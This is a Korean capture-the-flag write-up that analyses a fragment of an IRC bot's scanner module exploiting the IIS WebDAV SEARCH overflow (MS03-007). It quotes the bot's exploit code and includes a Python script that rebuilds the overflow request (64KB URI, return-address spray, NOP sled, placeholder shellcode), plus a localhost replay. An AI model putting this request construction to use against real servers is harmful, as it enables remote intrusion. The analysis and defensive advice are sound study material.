문제: DreamHack — [CodeEngn] Malware L02 분류: Misc (악성코드 분석) 난이도: 🥈 Silver 4 FLAG:
webdav
바이너리도 서버도 없다. .cpp 파일 하나가 전부고, 물어보는 것도 딱 한 줄이다.
# show_desc.sh
#!/bin/sh
# 드림핵 API 에서 이 문제의 제목·분류·설명만 뽑아 본다
python3 ~/Dev/Hacking_Project/_도구/dreamhack_auto/fetch_desc.py 369 | python3 -c '
import sys, json
d = json.load(sys.stdin)
print("제목 :", d["title"].strip())
print("분류 :", ", ".join(d["tags"]))
print("푼 사람 :", d["cnt_solvers"], "명")
print("배포파일:", ", ".join(f["name"] for f in d.get("files", [])) or "(응답에 없음)")
print()
print("[문제 설명]")
print(d["description"].strip())
'./show_desc.sh
예시로 준 ddos는 같은 시리즈 Malware L01의 정답이다. 그러니 형식은 확실하다 — 소문자 한 단어. 문제는 이 코드가 겨누는 게 정확히 무엇이냐다.
문제 개요
| 항목 | 내용 |
|---|---|
| 문제명 | [CodeEngn] Malware L02 |
| 난이도 | 🥈 Silver 4 |
| 분류 | Misc / 악성코드 분석 |
| 제공 파일 | 24FFA091.cpp — 3,154바이트, 62줄, CRLF |
| 답의 형식 | 소문자·공백 없음 한 단어 |
| 핵심 판단 | 요청 본문의 DAV: 네임스페이스 + 64KB짜리 SEARCH URI |
🔬 정찰 — 62줄이 전부다
file extracted/24FFA091.cpp && wc -lc extracted/24FFA091.cpp && sha256sum extracted/24FFA091.cpp
컴파일되는 완결 프로그램이 아니다. CString, g_cMainCtrl, xWrite 같은 이름들이 선언 없이 튀어나오는 걸 보면 큰 프로젝트에서 파일 하나만 잘라낸 조각이다. 그래서 도구를 돌릴 게 없고, 읽는 수밖에 없다.
cat -n extracted/24FFA091.cpp | sed -n 1,22p![클릭하여 확대 소스 1~22행 — body[] 에 XML 요청이 들어 있고 StartScan 은 80 포트를 확인한 뒤 Exploit 을 부른다](/_next/image?url=%2Fimages%2Fblog%2Fdreamhack-codeengn-malware-l02-writeup%2F03_source_top.png&w=3840&q=75)
첫 네 줄부터 답의 절반이 나와 있다.
char body[]=
"<?xml version=\"1.0\"?>\r\n<g:searchrequest xmlns:g=\"DAV:\">\r\n"
"<g:sql>\r\nSelect \"DAV:displayname\" from scope()\r\n</g:sql>\r\n"
"</g:searchrequest>\r\n";그리고 StartScan은 이 모듈이 무엇을 노리는지 한 줄로 말해 준다.
if(ScanPort(sHost.CStr(), 80))
{ g_cMainCtrl.m_cIRC.SendFormat(..., "%s: scanning ip %s:80.", ...);
bSuccess=Exploit(sHost); }80 포트가 열려 있을 때만 Exploit으로 넘어간다. 웹 서버가 표적이다.
🧩 배경 — SEARCH는 HTTP가 아니라 WebDAV의 메서드다
GET·POST·HEAD는 HTTP 표준 메서드지만 SEARCH는 아니다. WebDAV(RFC 4918 계열)가 HTTP 위에 얹은 확장 메서드고, 서버 쪽 저장소를 질의할 때 쓴다. 그 질의문은 본문에 XML로 실어 보내는데, 네임스페이스가 DAV: 라는 게 결정적인 표식이다.
grep -n -E "DAV:|searchrequest|g:sql|SEARCH /" extracted/24FFA091.cpp
Select "DAV:displayname" from scope()는 WebDAV SEARCH의 교과서적인 질의문이다. 즉 이 코드는 대상 웹 서버의 WebDAV 확장에 말을 걸고 있다.
여기까지만 봐도 webdav가 유력하다. 다만 "웹 서버를 공격한다"는 것과 "WebDAV를 공격한다"는 건 다른 답이라, 본문 XML만 보고 단정하기는 아직 이르다. WebDAV 질의문은 그냥 말을 걸기 위한 껍데기일 수도 있으니까.
🕹️ 이 파일은 봇넷의 스캐너 모듈이다
답을 확정하기 전에, 이 코드가 어디에 얹혀 있는지부터 보는 게 순서다.
grep -n -E "g_cMainCtrl|m_cIRC|bot_ftrans_port|CScanner|ScanPort|setup_shellcode" extracted/24FFA091.cpp
CScannerMalware_L02— 클래스 이름부터 스캐너다. 문제 출제자가 원래 클래스명을Malware_L02로 바꿔 놓았다.g_cMainCtrl.m_cIRC.SendFormat(...)— 진행 상황을 IRC 채널로 보고한다.scanning ip %s:80.,exploited ip %s.두 줄이 그대로 들어 있다.g_cMainCtrl.m_cBot.bot_ftrans_port.iValue— 봇이 띄워 둔 파일 전송 포트 번호를 쉘코드에 심는다.setup_shellcode(..., Malware_L02_SHELLCODE_OFFSET_PORT, Malware_L02_SHELLCODE_OFFSET_IP, ...)— 쉘코드 안의 포트·IP 자리를 런타임에 덮어쓴다. 연결복귀형 다운로더라는 뜻이다.
전역 컨트롤러(g_cMainCtrl)·IRC 모듈·CScanner* 서브클래스·설정값 객체(bot_ftrans_port.iValue)라는 조합은 2000년대 초 Agobot/Phatbot 계열 봇 소스의 구조 그대로다. 정확한 계보를 이 조각만으로 못 박을 수는 없지만, IRC로 조종되는 봇의 자가전파 모듈이라는 건 코드에 그대로 적혀 있다.
IsPrivate() 두 번 호출도 재미있다.
if(IsPrivate(g_cMainCtrl.m_cIRC.m_sLocalIp.CStr()) && !IsPrivate(sHost.CStr()))
iShellSize=setup_shellcode(..., inet_addr(g_cMainCtrl.m_cIRC.m_sLocalHost.CStr()), ...);
else
iShellSize=setup_shellcode(..., g_cMainCtrl.m_cIRC.m_lLocalAddr, ...);자기는 사설망인데 표적이 공인망이면 되돌아올 주소를 다르게 잡는다. NAT 뒤에서도 감염을 이어가려는 배려다.

🐛 삽질 — URI 길이를 65,535로 셌다
여기서 한 번 잘못 세고 넘어갔다 (펼치기)
요청을 조립하는 부분을 처음 읽었을 때, 나는 URI 길이를 65,535바이트로 적어 뒀다. for(;j<i+65535-strlen(jumpcode);j++)라고 65535가 눈에 대놓고 박혀 있으니 그렇게 읽는 게 자연스럽다.
그런데 바이트로 재구성해 보니 65,536이 나왔다. 차이는 슬래시 하나다.
strcpy(szReqBuf, "SEARCH /"); // 8바이트 — 마지막 글자가 '/' 다
int j, i=strlen(szReqBuf); // i = 8URI는 "SEARCH " 다음의 /부터 시작한다. 그 /가 오프셋 7에 있고, 뒤에 65,535바이트가 더 붙는다. 그래서 URI는 1 + 65535 = 65536 — 정확히 0x10000이다.
1바이트 차이가 이 문제의 전부였다. 65,535였다면 "그냥 아주 긴 URI"지만, 65,536이면 64KB 경계를 정확히 넘기려고 계산해서 맞춘 숫자다. 우연히 큰 값을 고른 게 아니라 특정 버퍼 크기를 노렸다는 증거고, 그때부터 답이 iis(제품)가 아니라 webdav(그 제품의 어느 부분)여야 한다는 확신이 섰다.
읽기만 하고 넘어갔으면 못 봤을 것이다. 짧은 코드일수록 실제로 돌려 보는 게 싸게 먹힌다.
💣 핵심 — 이 코드가 뱉는 바이트를 그대로 만들어 본다
Exploit() 뒷부분이 요청을 조립하는 자리다.
cat -n extracted/24FFA091.cpp | sed -n 39,56p
읽는 것보다 그대로 옮겨 실행하는 게 확실하다. C 코드를 한 줄씩 파이썬으로 베꼈다. jumpcode와 Malware_L02_shellcode는 이 발췌에 없는 외부 심볼이라 길이만 파라미터로 두고 자리표시 바이트를 채웠다 — 출력에서도 외부심볼로 표시한다.
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
[CodeEngn] Malware L02 — 24FFA091.cpp 의 Exploit() 가 실제로 만들어 내는 바이트열을 그대로 재구성한다.
C++ 원본을 한 줄씩 그대로 옮겼다. 외부 심볼(jumpcode / Malware_L02_shellcode)은 이 발췌에 없으므로
길이만 파라미터로 두고 자리표시 바이트를 채운다 — 그 자리는 출력에서 '외부심볼'로 표시한다.
"""
import sys
# ── 원본의 body[] 상수 (24FFA091.cpp 1~4행) 를 그대로 옮긴 것 ────────────
BODY = (
b'<?xml version="1.0"?>\r\n<g:searchrequest xmlns:g="DAV:">\r\n'
b'<g:sql>\r\nSelect "DAV:displayname" from scope()\r\n'
b'</g:sql>\r\n'
b'</g:searchrequest>\r\n'
)
RET = 0xB102 # unsigned short ret=0xB102;
NOP_SIZE = 100 # iNOPSize=100
HOST = "192.0.2.10" # sHost — 문서용 예약대역(RFC 5737)
# 이 발췌에 없는 외부 심볼. 길이만 가정하고 자리표시로 채운다.
JUMPCODE_LEN = 8 # strlen(jumpcode)
SHELLCODE_LEN = 344 # iShellSize = setup_shellcode(...) 의 반환값
JUMPCODE = b"\xE9" + b"\xCC" * (JUMPCODE_LEN - 1)
SHELLCODE = b"\xCC" * SHELLCODE_LEN
def build():
buf = bytearray(100000) # malloc(100000) + memset(...,0,100000)
# strcpy(szReqBuf, "SEARCH /");
buf[0:8] = b"SEARCH /"
i = 8 # i = strlen(szReqBuf)
# szReqBuf[i]='\x90';
buf[i] = 0x90
# for(j=i+1; j<i+2150; j+=2) memcpy(szReqBuf+j, &ret, 2);
ret_le = RET.to_bytes(2, "little") # 0xB102 → 02 B1
j = i + 1
spray_start, spray_n = j, 0
while j < i + 2150:
buf[j:j + 2] = ret_le
spray_n += 1
j += 2
spray_end = j # 마지막 2바이트 쓰기가 끝난 다음 위치
# for(;j<i+65535-strlen(jumpcode);j++) szReqBuf[j]='\x90';
sled_start = j
while j < i + 65535 - len(JUMPCODE):
buf[j] = 0x90
j += 1
sled_end = j
# memcpy(szReqBuf+j, jumpcode, strlen(jumpcode));
buf[j:j + len(JUMPCODE)] = JUMPCODE
uri_total = j + len(JUMPCODE) # 요청라인의 URI 끝
def slen(): # strcat/sprintf 가 쓰는 strlen — 첫 NUL 까지
return buf.index(0)
# strcat(szReqBuf, " HTTP/1.1\r\n");
p = slen(); tail = b" HTTP/1.1\r\n"; buf[p:p + len(tail)] = tail
# sprintf(szReqBuf+strlen(szReqBuf), "Host: %s\r\n...Content-Length: %d\r\n\r\n", ...)
declared = len(BODY) + len(SHELLCODE) # strlen(body)+iShellSize
hdr = ("Host: %s\r\nContent-Type: text/xml\r\nContent-Length: %d\r\n\r\n"
% (HOST, declared)).encode()
p = slen(); buf[p:p + len(hdr)] = hdr
# strcat(szReqBuf, body);
p = slen(); buf[p:p + len(BODY)] = BODY
# memset(szReqBuf+strlen(szReqBuf), 0x01, 1);
p = slen(); buf[p] = 0x01
# memset(szReqBuf+strlen(szReqBuf), 0x90, 3);
p = slen(); buf[p:p + 3] = b"\x90" * 3
# memcpy(szReqBuf+strlen(szReqBuf), szSCBuf, iSCSize); szSCBuf = NOP*100 + shellcode
sc = b"\x90" * NOP_SIZE + SHELLCODE
p = slen(); sc_at = p; buf[p:p + len(sc)] = sc
# iReqSize=strlen(szReqBuf);
req_size = slen()
req = bytes(buf[:req_size])
return req, dict(uri_total=uri_total, spray_start=spray_start, spray_n=spray_n,
spray_end=spray_end, sled_start=sled_start, sled_end=sled_end,
declared=declared, sc_at=sc_at, sc_len=len(sc), req_size=req_size)
def main():
req, m = build()
uri = req[7:m["uri_total"]] # '/' 부터 URI 끝까지
print("[구조] 24FFA091.cpp Exploit() 가 소켓으로 내보내는 바이트")
print(" 요청 메서드 : %s" % req[:8].decode())
print(" URI 길이 : %d 바이트 (0x%X) <-- '/' 포함" % (len(uri), len(uri)))
print(" ret 스프레이 : off %d..%d, 0x%04X('%s') x %d회"
% (m["spray_start"], m["spray_end"] - 1, RET,
RET.to_bytes(2, "little").hex(" "), m["spray_n"]))
print(" NOP 슬레드 : off %d..%d (0x90 x %d)"
% (m["sled_start"], m["sled_end"] - 1, m["sled_end"] - m["sled_start"]))
print(" jumpcode : off %d..%d (%d바이트, 외부심볼)"
% (m["sled_end"], m["uri_total"] - 1, len(JUMPCODE)))
print(" 선언한 Content-Length : %d (= strlen(body) %d + iShellSize %d)"
% (m["declared"], len(BODY), len(SHELLCODE)))
print(" 실제 본문 길이 : %d (선언보다 %d 많다: 0x01 1 + NOP 3 + NOP슬레드 %d)"
% (m["req_size"] - req.index(b"\r\n\r\n") - 4,
(m["req_size"] - req.index(b"\r\n\r\n") - 4) - m["declared"], NOP_SIZE))
print(" 쉘코드 시작 : off %d (NOP %d + shellcode %d, 외부심볼)"
% (m["sc_at"], NOP_SIZE, len(SHELLCODE)))
print(" 전체 요청 크기 : %d 바이트" % m["req_size"])
print()
print("[64KB 경계] URI 를 ANSI→UTF-16 로 넓히면")
print(" %d 바이트 x 2 = %d 바이트 > 0xFFFF(%d)"
% (len(uri), len(uri) * 2, 0xFFFF))
print(" 스프레이 2바이트 '02 b1' 의 와이드 이미지 = '02 00 b1 00' → DWORD 0x00B10002")
print()
print("[본문 XML]")
for line in BODY.decode().replace("\r\n", "\n").rstrip("\n").split("\n"):
print(" " + line)
with open("request.bin", "wb") as f:
f.write(req)
print()
print("[저장] request.bin (%d 바이트)" % len(req))
if __name__ == "__main__":
sys.exit(main())python3 build_request.py
숫자가 다 나왔다.

여기서 읽히는 게 세 가지다.
1. URI가 정확히 0x10000이다. 앞서 삽질 토글에서 적었듯 / 한 글자 덕에 65,536이 된다. ANSI 문자열이 UTF-16으로 넓어진다고 놓고 보면 131,072바이트가 되어 0xFFFF짜리 버퍼를 그냥 넘긴다. 이건 특정 버퍼 크기를 겨눈 숫자지, 그냥 크게 잡은 값이 아니다.
2. 앞머리 2,150바이트가 0xB102 반복이다. unsigned short ret이라는 변수 이름 그대로, 덮어쓸 복귀 주소 후보를 촘촘히 깔아 둔 스프레이다. 뒤이어 63,376바이트짜리 0x90 NOP 슬레드가 오고, 맨 끝 8바이트만 jumpcode다. 스택 어딘가에 정확히 착지하지 못해도 슬레드 위 어디든 떨어지면 흘러가게 만든 배치다.
다만 이 두 바이트가 어느 DWORD 자리에서 저장된 복귀 주소를 덮느냐는 여기서 확인할 수 없다. 취약한 Windows 표적이 있어야 알 수 있는 부분이라, 이 글에서는 "복귀 주소 스프레이"라는 구조까지만 사실로 둔다.
3. Content-Length가 104바이트 모자라다. 선언은 479인데 실제로 보내는 본문은 583바이트다. strlen(body)+iShellSize만 세고 사이에 낀 0x01 1바이트, NOP 3바이트, 그리고 쉘코드 앞의 NOP 슬레드 100바이트를 안 셌다. 표적이 본문을 성실히 파싱하지 않을 걸 알고 짠 코드다 — 어차피 파싱 전에 URI에서 넘칠 테니까.
한 가지 더. 마지막 줄이 iReqSize=strlen(szReqBuf);인데, 이러면 쉘코드에 NUL 바이트가 하나라도 있으면 거기서 요청이 잘린다. 이 코드는 NUL-free 쉘코드를 쓴다는 전제 위에 서 있다.
🔎 헥스덤프로 확인 — 경계가 눈에 보인다
xxd -l 96 request.bin
53 45 41 52 43 48 20 2f(SEARCH /) → 90 → 02 b1 02 b1 …. 소스와 한 바이트도 어긋나지 않는다.
URI가 끝나는 자리를 보면 더 분명하다.
xxd -s 65520 -l 288 request.bin
00010000 줄에서 cc 바이트(자리표시 jumpcode)가 끝나고 곧바로 20 48 54 54 50( HTTP)이 시작된다. URI의 마지막 바이트가 오프셋 0x10006, 즉 /부터 세면 정확히 64KB. 그 아래로 Host:, Content-Type: text/xml, Content-Length: 479가 이어지고 <g:searchrequest xmlns:g="DAV:"> 본문이 붙는다. 본문 끝 0190 9090이 0x01 + NOP 3개다.
🧪 소켓 위에서 한 번 더
파일로만 보면 "내가 파이썬으로 만든 바이트열"일 뿐이다. 실제로 TCP로 흘려서, 받는 쪽이 이걸 무엇으로 읽는지 봐야 확실하다. 취약한 IIS를 세우는 게 목적이 아니라 요청 라인이 정말 WebDAV SEARCH + 64KB URI로 성립하는지만 확인하는 것이다.
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
build_request.py 가 만든 request.bin 을 실제 TCP 소켓으로 흘려 보내고,
받는 쪽에서 무엇이 도착했는지 뜯어 본다.
취약한 IIS 5.0 을 켜 놓고 하는 게 아니다. 목적은 하나 — 재구성한 바이트열이
진짜 HTTP 요청으로 성립하는지, 그리고 요청 라인이 정말 WebDAV SEARCH + 64KB URI 인지
소켓 위에서 확인하는 것이다.
"""
import socket
import threading
HOST, PORT = "127.0.0.1", 8080
received = {}
def server():
srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
srv.bind((HOST, PORT))
srv.listen(1)
conn, addr = srv.accept()
chunks = []
conn.settimeout(2.0)
try:
while True:
b = conn.recv(65536)
if not b:
break
chunks.append(b)
except socket.timeout:
pass
received["peer"] = addr
received["data"] = b"".join(chunks)
conn.close()
srv.close()
t = threading.Thread(target=server)
t.start()
payload = open("request.bin", "rb").read()
cli = socket.create_connection((HOST, PORT))
cli.sendall(payload)
cli.close()
t.join()
data = received["data"]
head, _, body = data.partition(b"\r\n\r\n")
reqline, _, hdrs = head.partition(b"\r\n")
method, _, rest = reqline.partition(b" ")
uri, _, ver = rest.rpartition(b" ")
print("[수신] %s:%d 에서 %d 바이트" % (received["peer"][0], received["peer"][1], len(data)))
print("[요청라인] method=%s version=%s" % (method.decode(), ver.decode()))
print("[요청라인] URI 길이 = %d 바이트 (0x%X)" % (len(uri), len(uri)))
print("[요청라인] URI 앞 12바이트 = %s" % uri[:12].hex(" "))
print("[요청라인] URI 뒤 12바이트 = %s" % uri[-12:].hex(" "))
print("[요청라인] URI 바이트 분포 = %s"
% ", ".join("%02x:%d" % (b, uri.count(b)) for b in sorted(set(uri))[:6]))
print()
print("[헤더]")
for h in hdrs.split(b"\r\n"):
print(" " + h.decode())
print()
print("[본문] 선언 Content-Length=%s / 실제 수신 본문=%d 바이트"
% (dict(h.split(b": ", 1) for h in hdrs.split(b"\r\n"))[b"Content-Length"].decode(), len(body)))
print("[본문] XML 부분:")
xml_end = body.find(b"</g:searchrequest>\r\n") + len(b"</g:searchrequest>\r\n")
for line in body[:xml_end].decode().replace("\r\n", "\n").rstrip("\n").split("\n"):
print(" " + line)
print("[본문] XML 뒤에 붙은 %d 바이트 = %s ..." % (len(body) - xml_end, body[xml_end:xml_end + 8].hex(" ")))
print("[판정] WebDAV SEARCH 요청 — DAV: 네임스페이스 본문 + URI %d(0x%X)바이트"
% (len(uri), len(uri)))python3 replay_local.py
받는 쪽이 읽은 결과가 그대로 나온다.
method=SEARCH— HTTP 표준 메서드가 아니다.- URI 65,536바이트, 그 안에
90이 63,377개,02와b1이 각각 1,075개. - 본문은
DAV:네임스페이스 XML, 그 뒤에 448바이트가 더 붙어 있고 시작이01 90 90 90.
WebDAV SEARCH 요청 하나에 64KB 오버런과 쉘코드를 실어 보내는 코드라는 게 소켓 위에서 확인됐다.
🎯 정답
정리하면 이렇다.
| 관찰 | 근거 |
|---|---|
| 표적은 웹 서버 | ScanPort(sHost, 80) 통과해야 Exploit 진입 |
| 말을 거는 대상은 WebDAV | 본문이 xmlns:g="DAV:" 네임스페이스의 searchrequest |
| 쓰는 메서드가 WebDAV 전용 | strcpy(szReqBuf, "SEARCH /") |
| 공격 방식은 URI 오버런 | URI가 정확히 0x10000바이트 · 0xB102 스프레이 · NOP 슬레드 |
| 목적은 자가전파 | 쉘코드에 봇의 bot_ftrans_port·로컬 IP를 심어 연결복귀 |
이 조합은 2003년 IIS 5.0의 WebDAV 처리 경로에서 터진 MS03-007(CVE-2003-0109) 그 자체다. 취약점 자체는 ntdll.dll에 있었지만, 64KB가 넘는 URL을 그 경로까지 실어 보낼 수 있는 통로가 WebDAV의 SEARCH였다. Welchia/Nachi 같은 웜이 이걸로 퍼졌고, 이 코드는 봇에 같은 능력을 붙인 모듈이다.
문제가 묻는 "무엇을 공격하는가"의 답은 제품 이름(iis)이 아니라 그 제품의 어느 부분이냐 — webdav 다.
webdav한 방 재현용으로 reproduce.sh를 남겨 뒀다. 배포 파일과 스크립트만 있으면 위 과정을 순서대로 다시 밟는다.
#!/bin/sh
# [CodeEngn] Malware L02 (DreamHack #369, Silver 4, misc) — 한 방 재현.
# 배포 소스 한 조각만 가지고 "무엇을 공격하는가" 를 바이트로 확정한다.
#
# 사용법: ./reproduce.sh
# 결과 : 정답 문자열 webdav 를 근거와 함께 출력한다.
set -e
cd "$(dirname "$0")"
echo "=== 1. 배포 파일 ==="
file extracted/24FFA091.cpp
wc -lc extracted/24FFA091.cpp
sha256sum extracted/24FFA091.cpp
echo
echo "=== 2. WebDAV 지문 — body[] 상수와 요청 메서드 ==="
grep -n -E "DAV:|searchrequest|g:sql|SEARCH /" extracted/24FFA091.cpp
echo
echo "=== 3. IRC 봇 지문 — 이 파일은 봇의 스캐너 모듈이다 ==="
grep -n -E "g_cMainCtrl|m_cIRC|bot_ftrans_port|CScanner|ScanPort|setup_shellcode" extracted/24FFA091.cpp
echo
echo "=== 4. Exploit() 이 내보내는 바이트를 그대로 재구성 ==="
python3 build_request.py
echo
echo "=== 5. 요청 앞머리 (SEARCH / + 0x90 + ret 스프레이) ==="
xxd -l 96 request.bin
echo
echo "=== 6. URI 가 끝나는 자리 — 오프셋 0x10000 경계 ==="
xxd -s 65520 -l 288 request.bin
echo
echo "=== 7. 소켓으로 실제로 흘려 보고 받는 쪽에서 확인 ==="
python3 replay_local.py
echo
echo "=== 정답 ==="
echo "webdav"로컬 환경: Ubuntu(리눅스 6.17), Python 3.13, xxd(vim-common), GNU coreutils. 취약한 Windows 표적은 쓰지 않았고, 쓸 필요도 없었다 — 판정에 필요한 건 전부 발신 측 바이트에 있다.
📝 결론
답이 소스 한 줄에 있어도, 확신은 바이트에서 온다. xmlns:g="DAV:"만 보고 webdav라고 찍어도 맞긴 한다. 하지만 그것만으로는 "WebDAV 프로토콜로 말을 걸 뿐 실제 표적은 다른 것"이라는 가능성을 못 지운다. URI가 정확히 0x10000이라는 걸 확인하고 나서야 이 코드가 WebDAV 처리 경로의 특정 버퍼를 겨눴다는 게 분명해졌다.
긴 상수는 대개 의미가 있다. 65535, 2150, 100 같은 숫자가 소스에 박혀 있으면 그 값이 어디서 왔는지 따져 볼 값어치가 있다. 여기서는 65535가 / 하나와 합쳐져 65536이 되는 게 핵심이었다. 코드를 눈으로 읽는 것과 실행해서 재는 것의 차이가 딱 그 1바이트였다.
방어 관점에서 남는 것 세 가지.
- 안 쓰는 프로토콜 확장은 꺼 둔다. MS03-007 패치가 나오기 전 마이크로소프트가 먼저 안내한 완화책이 WebDAV 비활성화였다. 20년이 지난 지금도 원칙은 같다 — 쓰지 않는 메서드·모듈·확장은 공격면일 뿐이다. 요즘이라면
PUT/DELETE/PROPFIND/SEARCH같은 메서드를 리버스 프록시에서 화이트리스트로 잘라내는 게 첫 줄이다. - 요청 라인 길이 상한을 앞단에서 건다. 이 요청은 URI만 64KB다. nginx의
large_client_header_buffers, Apache의LimitRequestLine처럼 앞단에서 상한을 두면 애초에 뒤쪽 파서까지 닿지 않는다. 정상 트래픽에 64KB짜리 URI는 없다. SEARCH처럼 드문 메서드는 그 자체로 탐지 신호다. 이 코드는 IRC로scanning ip %s:80.을 흘리고 표적마다 똑같은 66KB 요청을 쏜다. 액세스 로그에서 비표준 메서드 + 비정상적으로 긴 URI 조합은 오탐이 거의 없는 룰이 된다. 응답이 오면 실패로 치고 넘어가는 구현이라, 차단만 해도 스캐너 쪽에서는 그냥 "실패한 표적"이 된다.
Comments
댓글
댓글을 남기려면 로그인이 필요해요. (네이버 · 구글 계정)
댓글 불러오는 중…